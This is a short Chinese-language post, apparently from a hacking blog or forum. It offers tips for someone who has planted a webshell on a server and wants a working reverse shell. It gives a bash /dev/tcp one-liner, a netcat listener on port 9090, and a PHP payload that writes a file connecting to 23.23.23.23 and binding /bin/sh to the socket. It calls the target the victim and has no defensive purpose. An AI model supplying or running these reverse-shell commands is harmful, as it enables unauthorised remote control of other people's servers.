如果你拿到了webshell!!!!!
如果你还在用传统写法 /bin/bash -i >& /dev/tcp/x.x.x.x/9090 0>&1 无回显感到烦恼时
如果你能上传webshell,却啥也干不了的时候??
如果你明明可以执行telnet出网,但是bash -i丝毫无作用的的时候??
如果你还在用 php eval执行各种SB指令没有效果时,为什么不试试下面的方法???
监听者:
nc -lvp 9090
受害者webshell:ps(针对RCE的一种写法,举一反三)
'echo \'<?php $sock = fsockopen("23.23.23.23", "9090"); $descriptorspec = array(0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open("/bin/sh", $descriptorspec, $pipes); proc_close($process); ?>\'>' +fuck.php
sock反弹shell是你别无选择的方法!!!!!懂得自然懂
网友评论